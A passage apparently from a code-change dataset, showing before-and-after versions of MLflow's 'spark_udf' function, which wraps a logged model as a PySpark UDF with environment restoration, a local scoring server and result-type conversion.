            - ``ArrayType(FloatType|DoubleType)``: All numeric columns cast to the requested type or
              an exception if there are no numeric columns.

            - ""string"" or ``pyspark.sql.types.StringType``: The leftmost column converted to
              ``string``.

            - ""boolean"" or ""bool"" or ``pyspark.sql.types.BooleanType``: The leftmost column
              converted to ``bool`` or an exception if there is none.

            - ``ArrayType(StringType)``: All columns converted to ``string``.

            - ""field1 FIELD1_TYPE, field2 FIELD2_TYPE, ..."": A struct type containing multiple
              fields separated by comma, each field type must be one of types listed above.

        env_manager: The environment manager to use in order to create the python environment
            for model inference. Note that environment is only restored in the context
            of the PySpark UDF; the software environment outside of the UDF is
            unaffected. Default value is ``local``, and the following values are
            supported:

            - ``virtualenv``: Use virtualenv to restore the python environment that
              was used to train the model.
            - ``conda``: (Recommended) Use Conda to restore the software environment
              that was used to train the model.
            - ``local``: Use the current Python environment for model inference, which
              may differ from the environment used to train the model and may lead to
              errors or invalid predictions.

        params: Additional parameters to pass to the model for inference.

            .. Note:: Experimental: This parameter may change or be removed in a future
                                    release without warning.

        extra_env: Extra environment variables to pass to the UDF executors.

    Returns:
        Spark UDF that applies the model's ``predict`` method to the data and returns a
        type specified by ``result_type``, which by default is a double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import (
        ArrayType,
        BooleanType,
        DoubleType,
        FloatType,
        IntegerType,
        LongType,
        StringType,
    )
    from pyspark.sql.types import StructType as SparkStructType

    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from mlflow.utils._spark_utils import _SparkDirectoryDistributor

    is_spark_connect = _is_spark_connect()
    # Used in test to force install local version of mlflow when starting a model server
    mlflow_home = os.environ.get(""MLFLOW_HOME"")
    openai_env_vars = mlflow.openai._OpenAIEnvVar.read_environ()
    mlflow_testing = _MLFLOW_TESTING.get_raw()

    _EnvManager.validate(env_manager)

    if is_spark_connect:
        is_spark_in_local_mode = False
    else:
        # Check whether spark is in local or local-cluster mode
        # this case all executors and driver share the same filesystem
        is_spark_in_local_mode = spark.conf.get(""spark.master"").startswith(""local"")

    nfs_root_dir = get_nfs_cache_root_dir()
    should_use_nfs = nfs_root_dir is not None
    should_use_spark_to_broadcast_file = not (
        is_spark_in_local_mode or should_use_nfs or is_spark_connect
    )

    # For spark connect mode,
    # If client code is executed in databricks runtime and NFS is available,
    # we save model to NFS temp directory in the driver
    # and load the model in the executor.
    should_spark_connect_use_nfs = is_in_databricks_runtime() and should_use_nfs

    if (
        is_spark_connect
        and env_manager in (_EnvManager.VIRTUALENV, _EnvManager.CONDA)
        and not should_spark_connect_use_nfs
    ):
        raise MlflowException.invalid_parameter_value(
            f""Environment manager {env_manager!r} is not supported in Spark connect mode ""
            ""when either non-Databricks environment is in use or NFS is unavailable."",
        )

    local_model_path = _download_artifact_from_uri(
        artifact_uri=model_uri,
        output_path=_create_model_downloading_tmp_dir(should_use_nfs),
    )

    if env_manager == _EnvManager.LOCAL:
        # Assume spark executor python environment is the same with spark driver side.
        model_requirements = _get_pip_requirements_from_model_path(local_model_path)
        warn_dependency_requirement_mismatches(model_requirements)
        _logger.warning(
            'Calling `spark_udf()` with `env_manager=""local""` does not recreate the same '
            ""environment that was used during training, which may lead to errors or inaccurate ""
            'predictions. We recommend specifying `env_manager=""conda""`, which automatically '
            ""recreates the environment that was used to train the model and performs inference ""
            ""in the recreated environment.""
        )
    else:
        _logger.info(
            f""This UDF will use {env_manager} to recreate the model's software environment for ""
            ""inference. This may take extra time during execution.""
        )
        if not sys.platform.startswith(""linux""):
            # TODO: support killing mlflow server launched in UDF task when spark job canceled
            #  for non-linux system.
            #  https://stackoverflow.com/questions/53208/how-do-i-automatically-destroy-child-processes-in-windows
            _logger.warning(
                ""In order to run inference code in restored python environment, PySpark UDF ""
                ""processes spawn MLflow Model servers as child processes. Due to system ""
                ""limitations with handling SIGKILL signals, these MLflow Model server child ""
                ""processes cannot be cleaned up if the Spark Job is canceled.""
            )
    pyfunc_backend = get_flavor_backend(
        local_model_path,
        env_manager=env_manager,
        install_mlflow=os.environ.get(""MLFLOW_HOME"") is not None,
        create_env_root_dir=True,
    )
    if not should_use_spark_to_broadcast_file:
        # Prepare restored environment in driver side if possible.
        # Note: In databricks runtime, because databricks notebook cell output cannot capture
        # child process output, so that set capture_output to be True so that when `conda prepare
        # env` command failed, the exception message will include command stdout/stderr output.
        # Otherwise user have to check cluster driver log to find command stdout/stderr output.
        # In non-databricks runtime, set capture_output to be False, because the benefit of
        # ""capture_output=False"" is the output will be printed immediately, otherwise you have
        # to wait conda command fail and suddenly get all output printed (included in error
        # message).
        if env_manager != _EnvManager.LOCAL:
            pyfunc_backend.prepare_env(
                model_uri=local_model_path, capture_output=is_in_databricks_runtime()
            )
    else:
        # Broadcast local model directory to remote worker if needed.
        archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    model_metadata = Model.load(os.path.join(local_model_path, MLMODEL_FILE_NAME))

    if result_type is None:
        if model_output_schema := model_metadata.get_output_schema():
            result_type = _infer_spark_udf_return_type(model_output_schema)
        else:
            _logger.warning(
                ""No 'result_type' provided for spark_udf and the model does not ""
                ""have an output schema. 'result_type' is set to 'double' type.""
            )
            result_type = DoubleType()
    else:
        if isinstance(result_type, str):
            result_type = _parse_spark_datatype(result_type)

    if not _check_udf_return_type(result_type):
        raise MlflowException.invalid_parameter_value(
            f""""""Invalid 'spark_udf' result type: {result_type}.
It must be one of the following types:
Primitive types:
 - int
 - long
 - float
 - double
 - string
 - boolean
Compound types:
 - ND array of primitives / structs.
 - struct<field: primitive | array<primitive> | array<array<primitive>>, ...>:
   A struct with primitive, ND array<primitive/structs>,
   e.g., struct<a:int, b:array<int>>.
""""""
        )
    params = _validate_params(params, model_metadata)

    def _predict_row_batch(predict_fn, args):
        input_schema = model_metadata.get_input_schema()
        args = list(args)
        if len(args) == 1 and isinstance(args[0], pandas.DataFrame):
            pdf = args[0]
        else:
            if input_schema is None:
                names = [str(i) for i in range(len(args))]
            else:
                names = input_schema.input_names()
                required_names = input_schema.required_input_names()
                if len(args) > len(names):
                    args = args[: len(names)]
                if len(args) < len(required_names):
                    raise MlflowException(
                        ""Model input is missing required columns. Expected {} required""
                        "" input columns {}, but the model received only {} unnamed input columns""
                        "" (Since the columns were passed unnamed they are expected to be in""
                        "" the order specified by the schema)."".format(len(names), names, len(args))
                    )
            pdf = pandas.DataFrame(
                data={
                    names[i]: arg
                    if isinstance(arg, pandas.Series)
                    # pandas_udf receives a StructType column as a pandas DataFrame.
                    # We need to convert it back to a dict of pandas Series.
                    else arg.apply(lambda row: row.to_dict(), axis=1)
                    for i, arg in enumerate(args)
                },
                columns=names,
            )

        result = predict_fn(pdf, params)

        if isinstance(result, dict):
            result = {k: list(v) for k, v in result.items()}

        if isinstance(result_type, ArrayType) and isinstance(result_type.elementType, ArrayType):
            result_values = _convert_array_values(result, result_type)
            return pandas.Series(result_values)

        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame([result]) if np.isscalar(result) else pandas.DataFrame(result)

        if isinstance(result_type, SparkStructType):
            return _convert_struct_values(result, result_type)

        elem_type = result_type.elementType if isinstance(result_type, ArrayType) else result_type

        if type(elem_type) == IntegerType:
            result = result.select_dtypes(
                [np.byte, np.ubyte, np.short, np.ushort, np.int32]
            ).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, int]).astype(
                np.int64
            )

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float64)

        elif type(elem_type) == BooleanType:
            result = result.select_dtypes([bool, np.bool_]).astype(bool)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The model did not produce any values compatible with the requested ""
                f""type '{elem_type}'. Consider requesting udf with StringType or ""
                ""Arraytype(StringType)."",
                error_code=INVALID_PARAMETER_VALUE,
            )

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series(result.to_numpy().tolist())
        else:
            return result[result.columns[0]]

    result_type_hint = (
        pandas.DataFrame if isinstance(result_type, SparkStructType) else pandas.Series
    )

    tracking_uri = mlflow.get_tracking_uri()

    @pandas_udf(result_type)
    def udf(
        iterator: Iterator[Tuple[Union[pandas.Series, pandas.DataFrame], ...]],
    ) -> Iterator[result_type_hint]:
        # importing here to prevent circular import
        from mlflow.pyfunc.scoring_server.client import (
            ScoringServerClient,
            StdinScoringServerClient,
        )

        # Note: this is a pandas udf function in iteration style, which takes an iterator of
        # tuple of pandas.Series and outputs an iterator of pandas.Series.
        update_envs = {}
        if mlflow_home is not None:
            update_envs[""MLFLOW_HOME""] = mlflow_home
        if openai_env_vars:
            update_envs.update(openai_env_vars)
        if mlflow_testing:
            update_envs[_MLFLOW_TESTING.name] = mlflow_testing
        if extra_env:
            update_envs.update(extra_env)

        #  use `modified_environ` to temporarily set the envs and restore them finally
        with modified_environ(update=update_envs):
            scoring_server_proc = None
            # set tracking_uri inside udf so that with spark_connect
            # we can load the model from correct path
            mlflow.set_tracking_uri(tracking_uri)

            if env_manager != _EnvManager.LOCAL:
                if should_use_spark_to_broadcast_file:
                    local_model_path_on_executor = _SparkDirectoryDistributor.get_or_extract(
                        archive_path
                    )
                    # Call ""prepare_env"" in advance in order to reduce scoring server launch time.
                    # So that we can use a shorter timeout when call `client.wait_server_ready`,
                    # otherwise we have to set a long timeout for `client.wait_server_ready` time,
                    # this prevents spark UDF task failing fast if other exception raised
                    # when scoring server launching.
                    # Set ""capture_output"" so that if ""conda env create"" command failed, the command
                    # stdout/stderr output will be attached to the exception message and included in
                    # driver side exception.
                    pyfunc_backend.prepare_env(
                        model_uri=local_model_path_on_executor, capture_output=True
                    )
                else:
                    local_model_path_on_executor = None

                if check_port_connectivity():
                    # launch scoring server
                    server_port = find_free_port()
                    host = ""127.0.0.1""
                    scoring_server_proc = pyfunc_backend.serve(
                        model_uri=local_model_path_on_executor or local_model_path,
                        port=server_port,
                        host=host,
                        timeout=MLFLOW_SCORING_SERVER_REQUEST_TIMEOUT.get(),
                        enable_mlserver=False,
                        synchronous=False,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                    )

                    client = ScoringServerClient(host, server_port)
                else:
                    scoring_server_proc = pyfunc_backend.serve_stdin(
                        model_uri=local_model_path_on_executor or local_model_path,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                    )
                    client = StdinScoringServerClient(scoring_server_proc)

                _logger.info(""Using %s"", client.__class__.__name__)

                server_tail_logs = collections.deque(
                    maxlen=_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP
                )

                def server_redirect_log_thread_func(child_stdout):
                    for line in child_stdout:
                        decoded = line.decode() if isinstance(line, bytes) else line
                        server_tail_logs.append(decoded)
                        sys.stdout.write(""[model server] "" + decoded)

                server_redirect_log_thread = threading.Thread(
                    target=server_redirect_log_thread_func,
                    args=(scoring_server_proc.stdout,),
                    daemon=True,
                )
                server_redirect_log_thread.start()

                try:
                    client.wait_server_ready(timeout=90, scoring_server_proc=scoring_server_proc)
                except Exception as e:
                    err_msg = (
                        ""During spark UDF task execution, mlflow model server failed to launch. ""
                    )
                    if len(server_tail_logs) == _MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP:
                        err_msg += (
                            f""Last {_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP} ""
                            ""lines of MLflow model server output:\n""
                        )
                    else:
                        err_msg += ""MLflow model server output:\n""
                    err_msg += """".join(server_tail_logs)
                    raise MlflowException(err_msg) from e

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(client.invoke).parameters.get(""params""):
                        return client.invoke(pdf, params=params).get_predictions()
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return client.invoke(pdf).get_predictions()

            elif env_manager == _EnvManager.LOCAL:
                if is_spark_connect and not should_spark_connect_use_nfs:
                    model_path = os.path.join(
                        tempfile.gettempdir(),
                        ""mlflow"",
                        insecure_hash.sha1(model_uri.encode()).hexdigest(),
                    )
                    try:
                        loaded_model = mlflow.pyfunc.load_model(model_path)
                    except Exception:
                        os.makedirs(model_path, exist_ok=True)
                        loaded_model = mlflow.pyfunc.load_model(model_uri, dst_path=model_path)
                elif should_use_spark_to_broadcast_file:
                    loaded_model, _ = SparkModelCache.get_or_load(archive_path)
                else:
                    loaded_model = mlflow.pyfunc.load_model(local_model_path)

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(loaded_model.predict).parameters.get(""params""):
                        return loaded_model.predict(pdf, params=params)
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return loaded_model.predict(pdf)

            try:
                for input_batch in iterator:
                    # If the UDF is called with only multiple arguments,
                    # the `input_batch` is a tuple which composes of several pd.Series/pd.DataFrame
                    # objects.
                    # If the UDF is called with only one argument,
                    # the `input_batch` instance will be an instance of `pd.Series`/`pd.DataFrame`,
                    if isinstance(input_batch, (pandas.Series, pandas.DataFrame)):
                        # UDF is called with only one argument
                        row_batch_args = (input_batch,)
                    else:
                        row_batch_args = input_batch

                    if len(row_batch_args[0]) > 0:
                        yield _predict_row_batch(batch_predict_fn, row_batch_args)
            finally:
                if scoring_server_proc is not None:
                    os.kill(scoring_server_proc.pid, signal.SIGTERM)

    udf.metadata = model_metadata

    @functools.wraps(udf)
    def udf_with_default_cols(*args):
        if len(args) == 0:
            input_schema = model_metadata.get_input_schema()
            if input_schema and len(input_schema.optional_input_names()) > 0:
                raise MlflowException(
                    message=""Cannot apply UDF without column names specified when""
                    "" model signature contains optional columns."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            if input_schema and len(input_schema.inputs) > 0:
                if input_schema.has_input_names():
                    input_names = input_schema.input_names()
                    return udf(*input_names)
                else:
                    raise MlflowException(
                        message=""Cannot apply udf because no column names specified. The udf ""
                        ""expects {} columns with types: {}. Input column names could not be ""
                        ""inferred from the model signature (column names not found)."".format(
                            len(input_schema.inputs),
                            input_schema.inputs,
                        ),
                        error_code=INVALID_PARAMETER_VALUE,
                    )
            else:
                raise MlflowException(
                    ""Attempting to apply udf on zero columns because no column names were ""
                    ""specified as arguments or inferred from the model signature."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            return udf(*args)

    return udf_with_default_cols",,mlflow/mlflow,672391a4375cedf554e4c11fd3bc8213492f242f,"def spark_udf(
    spark,
    model_uri,
    result_type=None,
    env_manager=_EnvManager.LOCAL,
    params: Optional[Dict[str, Any]] = None,
    extra_env: Optional[Dict[str, str]] = None,
):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the column names
    are ordinals (0, 1, ...). On some versions of Spark (3.0 and above), it is also possible to
    wrap the input in a struct. In that case, the data will be passed as a DataFrame with column
    names given by the struct definition (e.g. when invoked as my_udf(struct('x', 'y')), the model
    will get the data as a pandas DataFrame with 2 columns 'x' and 'y').

    If a model contains a signature with tensor spec inputs, you will need to pass a column of
    array type as a corresponding UDF argument. The column values of which must be one dimensional
    arrays. The UDF will reshape the column values to the required shape with 'C' order
    (i.e. read / write the elements using C-like index order) and cast the values as the required
    tensor spec type.

    If a model contains a signature, the UDF can be called without specifying column name
    arguments. In this case, the UDF will be called with column names from signature, so the
    evaluation dataframe's column names must match the model signature's column names.

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    NOTE: Inputs of type ``pyspark.sql.types.DateType`` are not supported on earlier versions of
    Spark (2.4 and below).

    .. code-block:: python
        :caption: Example

        from pyspark.sql.functions import struct

        predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
        df.withColumn(""prediction"", predict(struct(""name"", ""age""))).show()

    Args:
        spark: A SparkSession object.
        model_uri: The location, in URI format, of the MLflow model with the
            :py:mod:`mlflow.pyfunc` flavor. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

        result_type: the return type of the user-defined function. The value can be either a
            ``pyspark.sql.types.DataType`` object or a DDL-formatted type string. Only a primitive
            type, an array ``pyspark.sql.types.ArrayType`` of primitive type, or a struct type
            containing fields of above 2 kinds of types are allowed.
            If unspecified, it tries to infer result type from model signature
            output schema, if model output schema is not available, it fallbacks to use ``double``
            type.

            The following classes of result type are supported:

            - ""int"" or ``pyspark.sql.types.IntegerType``: The leftmost integer that can fit in an
              ``int32`` or an exception if there is none.

            - ""long"" or ``pyspark.sql.types.LongType``: The leftmost long integer that can fit in an
              ``int64`` or an exception if there is none.

            - ``ArrayType(IntegerType|LongType)``: All integer columns that can fit into the
              requested size.

            - ""float"" or ``pyspark.sql.types.FloatType``: The leftmost numeric result cast to
              ``float32`` or an exception if there is none.

            - ""double"" or ``pyspark.sql.types.DoubleType``: The leftmost numeric result cast to
              ``double`` or an exception if there is none.

            - ``ArrayType(FloatType|DoubleType)``: All numeric columns cast to the requested type or
              an exception if there are no numeric columns.

            - ""string"" or ``pyspark.sql.types.StringType``: The leftmost column converted to
              ``string``.

            - ""boolean"" or ""bool"" or ``pyspark.sql.types.BooleanType``: The leftmost column
              converted to ``bool`` or an exception if there is none.

            - ``ArrayType(StringType)``: All columns converted to ``string``.

            - ""field1 FIELD1_TYPE, field2 FIELD2_TYPE, ..."": A struct type containing multiple
              fields separated by comma, each field type must be one of types listed above.

        env_manager: The environment manager to use in order to create the python environment
            for model inference. Note that environment is only restored in the context
            of the PySpark UDF; the software environment outside of the UDF is
            unaffected. Default value is ``local``, and the following values are
            supported:

            - ``virtualenv``: Use virtualenv to restore the python environment that
              was used to train the model.
            - ``conda``: (Recommended) Use Conda to restore the software environment
              that was used to train the model.
            - ``local``: Use the current Python environment for model inference, which
              may differ from the environment used to train the model and may lead to
              errors or invalid predictions.

        params: Additional parameters to pass to the model for inference.

            .. Note:: Experimental: This parameter may change or be removed in a future
                                    release without warning.

        extra_env: Extra environment variables to pass to the UDF executors.

    Returns:
        Spark UDF that applies the model's ``predict`` method to the data and returns a
        type specified by ``result_type``, which by default is a double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import (
        ArrayType,
        BooleanType,
        DoubleType,
        FloatType,
        IntegerType,
        LongType,
        StringType,
    )
    from pyspark.sql.types import StructType as SparkStructType

    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from mlflow.utils._spark_utils import _SparkDirectoryDistributor

    is_spark_connect = _is_spark_connect()
    # Used in test to force install local version of mlflow when starting a model server
    mlflow_home = os.environ.get(""MLFLOW_HOME"")
    openai_env_vars = mlflow.openai._OpenAIEnvVar.read_environ()
    mlflow_testing = _MLFLOW_TESTING.get_raw()

    _EnvManager.validate(env_manager)

    # Check whether spark is in local or local-cluster mode
    # this case all executors and driver share the same filesystem
    is_spark_in_local_mode = spark.conf.get(""spark.master"").startswith(""local"")

    nfs_root_dir = get_nfs_cache_root_dir()
    should_use_nfs = nfs_root_dir is not None
    should_use_spark_to_broadcast_file = not (
        is_spark_in_local_mode or should_use_nfs or is_spark_connect
    )

    # For spark connect mode,
    # If client code is executed in databricks runtime and NFS is available,
    # we save model to NFS temp directory in the driver
    # and load the model in the executor.
    should_spark_connect_use_nfs = is_in_databricks_runtime() and should_use_nfs

    if (
        is_spark_connect
        and env_manager in (_EnvManager.VIRTUALENV, _EnvManager.CONDA)
        and not should_spark_connect_use_nfs
    ):
        raise MlflowException.invalid_parameter_value(
            f""Environment manager {env_manager!r} is not supported in Spark connect mode ""
            ""when either non-Databricks environment is in use or NFS is unavailable."",
        )

    local_model_path = _download_artifact_from_uri(
        artifact_uri=model_uri,
        output_path=_create_model_downloading_tmp_dir(should_use_nfs),
    )

    if env_manager == _EnvManager.LOCAL:
        # Assume spark executor python environment is the same with spark driver side.
        model_requirements = _get_pip_requirements_from_model_path(local_model_path)
        warn_dependency_requirement_mismatches(model_requirements)
        _logger.warning(
            'Calling `spark_udf()` with `env_manager=""local""` does not recreate the same '
            ""environment that was used during training, which may lead to errors or inaccurate ""
            'predictions. We recommend specifying `env_manager=""conda""`, which automatically '
            ""recreates the environment that was used to train the model and performs inference ""
            ""in the recreated environment.""
        )
    else:
        _logger.info(
            f""This UDF will use {env_manager} to recreate the model's software environment for ""
            ""inference. This may take extra time during execution.""
        )
        if not sys.platform.startswith(""linux""):
            # TODO: support killing mlflow server launched in UDF task when spark job canceled
            #  for non-linux system.
            #  https://stackoverflow.com/questions/53208/how-do-i-automatically-destroy-child-processes-in-windows
            _logger.warning(
                ""In order to run inference code in restored python environment, PySpark UDF ""
                ""processes spawn MLflow Model servers as child processes. Due to system ""
                ""limitations with handling SIGKILL signals, these MLflow Model server child ""
                ""processes cannot be cleaned up if the Spark Job is canceled.""
            )
    pyfunc_backend = get_flavor_backend(
        local_model_path,
        env_manager=env_manager,
        install_mlflow=os.environ.get(""MLFLOW_HOME"") is not None,
        create_env_root_dir=True,
    )
    if not should_use_spark_to_broadcast_file:
        # Prepare restored environment in driver side if possible.
        # Note: In databricks runtime, because databricks notebook cell output cannot capture
        # child process output, so that set capture_output to be True so that when `conda prepare
        # env` command failed, the exception message will include command stdout/stderr output.
        # Otherwise user have to check cluster driver log to find command stdout/stderr output.
        # In non-databricks runtime, set capture_output to be False, because the benefit of
        # ""capture_output=False"" is the output will be printed immediately, otherwise you have
        # to wait conda command fail and suddenly get all output printed (included in error
        # message).
        if env_manager != _EnvManager.LOCAL:
            pyfunc_backend.prepare_env(
                model_uri=local_model_path, capture_output=is_in_databricks_runtime()
            )
    else:
        # Broadcast local model directory to remote worker if needed.
        archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    model_metadata = Model.load(os.path.join(local_model_path, MLMODEL_FILE_NAME))

    if result_type is None:
        if model_output_schema := model_metadata.get_output_schema():
            result_type = _infer_spark_udf_return_type(model_output_schema)
        else:
            _logger.warning(
                ""No 'result_type' provided for spark_udf and the model does not ""
                ""have an output schema. 'result_type' is set to 'double' type.""
            )
            result_type = DoubleType()
    else:
        if isinstance(result_type, str):
            result_type = _parse_spark_datatype(result_type)

    if not _check_udf_return_type(result_type):
        raise MlflowException.invalid_parameter_value(
            f""""""Invalid 'spark_udf' result type: {result_type}.
It must be one of the following types:
Primitive types:
 - int
 - long
 - float
 - double
 - string
 - boolean
Compound types:
 - ND array of primitives / structs.
 - struct<field: primitive | array<primitive> | array<array<primitive>>, ...>:
   A struct with primitive, ND array<primitive/structs>,
   e.g., struct<a:int, b:array<int>>.
""""""
        )
    params = _validate_params(params, model_metadata)

    def _predict_row_batch(predict_fn, args):
        input_schema = model_metadata.get_input_schema()
        args = list(args)
        if len(args) == 1 and isinstance(args[0], pandas.DataFrame):
            pdf = args[0]
        else:
            if input_schema is None:
                names = [str(i) for i in range(len(args))]
            else:
                names = input_schema.input_names()
                required_names = input_schema.required_input_names()
                if len(args) > len(names):
                    args = args[: len(names)]
                if len(args) < len(required_names):
                    raise MlflowException(
                        ""Model input is missing required columns. Expected {} required""
                        "" input columns {}, but the model received only {} unnamed input columns""
                        "" (Since the columns were passed unnamed they are expected to be in""
                        "" the order specified by the schema)."".format(len(names), names, len(args))
                    )
            pdf = pandas.DataFrame(
                data={
                    names[i]: arg
                    if isinstance(arg, pandas.Series)
                    # pandas_udf receives a StructType column as a pandas DataFrame.
                    # We need to convert it back to a dict of pandas Series.
                    else arg.apply(lambda row: row.to_dict(), axis=1)
                    for i, arg in enumerate(args)
                },
                columns=names,
            )

        result = predict_fn(pdf, params)

        if isinstance(result, dict):
            result = {k: list(v) for k, v in result.items()}

        if isinstance(result_type, ArrayType) and isinstance(result_type.elementType, ArrayType):
            result_values = _convert_array_values(result, result_type)
            return pandas.Series(result_values)

        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame([result]) if np.isscalar(result) else pandas.DataFrame(result)

        if isinstance(result_type, SparkStructType):
            return _convert_struct_values(result, result_type)

        elem_type = result_type.elementType if isinstance(result_type, ArrayType) else result_type

        if type(elem_type) == IntegerType:
            result = result.select_dtypes(
                [np.byte, np.ubyte, np.short, np.ushort, np.int32]
            ).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, int]).astype(
                np.int64
            )

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float64)

        elif type(elem_type) == BooleanType:
            result = result.select_dtypes([bool, np.bool_]).astype(bool)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The model did not produce any values compatible with the requested ""
                f""type '{elem_type}'. Consider requesting udf with StringType or ""
                ""Arraytype(StringType)."",
                error_code=INVALID_PARAMETER_VALUE,
            )

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series(result.to_numpy().tolist())
        else:
            return result[result.columns[0]]

    result_type_hint = (
        pandas.DataFrame if isinstance(result_type, SparkStructType) else pandas.Series
    )

    tracking_uri = mlflow.get_tracking_uri()

    @pandas_udf(result_type)
    def udf(
        iterator: Iterator[Tuple[Union[pandas.Series, pandas.DataFrame], ...]],
    ) -> Iterator[result_type_hint]:
        # importing here to prevent circular import
        from mlflow.pyfunc.scoring_server.client import (
            ScoringServerClient,
            StdinScoringServerClient,
        )

        # Note: this is a pandas udf function in iteration style, which takes an iterator of
        # tuple of pandas.Series and outputs an iterator of pandas.Series.
        update_envs = {}
        if mlflow_home is not None:
            update_envs[""MLFLOW_HOME""] = mlflow_home
        if openai_env_vars:
            update_envs.update(openai_env_vars)
        if mlflow_testing:
            update_envs[_MLFLOW_TESTING.name] = mlflow_testing
        if extra_env:
            update_envs.update(extra_env)

        #  use `modified_environ` to temporarily set the envs and restore them finally
        with modified_environ(update=update_envs):
            scoring_server_proc = None
            # set tracking_uri inside udf so that with spark_connect
            # we can load the model from correct path
            mlflow.set_tracking_uri(tracking_uri)

            if env_manager != _EnvManager.LOCAL:
                if should_use_spark_to_broadcast_file:
                    local_model_path_on_executor = _SparkDirectoryDistributor.get_or_extract(
                        archive_path
                    )
                    # Call ""prepare_env"" in advance in order to reduce scoring server launch time.
                    # So that we can use a shorter timeout when call `client.wait_server_ready`,
                    # otherwise we have to set a long timeout for `client.wait_server_ready` time,
                    # this prevents spark UDF task failing fast if other exception raised
                    # when scoring server launching.
                    # Set ""capture_output"" so that if ""conda env create"" command failed, the command
                    # stdout/stderr output will be attached to the exception message and included in
                    # driver side exception.
                    pyfunc_backend.prepare_env(
                        model_uri=local_model_path_on_executor, capture_output=True
                    )
                else:
                    local_model_path_on_executor = None

                if check_port_connectivity():
                    # launch scoring server
                    server_port = find_free_port()
                    host = ""127.0.0.1""
                    scoring_server_proc = pyfunc_backend.serve(
                        model_uri=local_model_path_on_executor or local_model_path,
                        port=server_port,
                        host=host,
                        timeout=MLFLOW_SCORING_SERVER_REQUEST_TIMEOUT.get(),
                        enable_mlserver=False,
                        synchronous=False,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                    )

                    client = ScoringServerClient(host, server_port)
                else:
                    scoring_server_proc = pyfunc_backend.serve_stdin(
                        model_uri=local_model_path_on_executor or local_model_path,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                    )
                    client = StdinScoringServerClient(scoring_server_proc)

                _logger.info(""Using %s"", client.__class__.__name__)

                server_tail_logs = collections.deque(
                    maxlen=_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP
                )

                def server_redirect_log_thread_func(child_stdout):
                    for line in child_stdout:
                        decoded = line.decode() if isinstance(line, bytes) else line
                        server_tail_logs.append(decoded)
                        sys.stdout.write(""[model server] "" + decoded)

                server_redirect_log_thread = threading.Thread(
                    target=server_redirect_log_thread_func,
                    args=(scoring_server_proc.stdout,),
                    daemon=True,
                )
                server_redirect_log_thread.start()

                try:
                    client.wait_server_ready(timeout=90, scoring_server_proc=scoring_server_proc)
                except Exception as e:
                    err_msg = (
                        ""During spark UDF task execution, mlflow model server failed to launch. ""
                    )
                    if len(server_tail_logs) == _MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP:
                        err_msg += (
                            f""Last {_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP} ""
                            ""lines of MLflow model server output:\n""
                        )
                    else:
                        err_msg += ""MLflow model server output:\n""
                    err_msg += """".join(server_tail_logs)
                    raise MlflowException(err_msg) from e

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(client.invoke).parameters.get(""params""):
                        return client.invoke(pdf, params=params).get_predictions()
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return client.invoke(pdf).get_predictions()

            elif env_manager == _EnvManager.LOCAL:
                if is_spark_connect and not should_spark_connect_use_nfs:
                    model_path = os.path.join(
                        tempfile.gettempdir(),
                        ""mlflow"",
                        insecure_hash.sha1(model_uri.encode()).hexdigest(),
                    )
                    try:
                        loaded_model = mlflow.pyfunc.load_model(model_path)
                    except Exception:
                        os.makedirs(model_path, exist_ok=True)
                        loaded_model = mlflow.pyfunc.load_model(model_uri, dst_path=model_path)
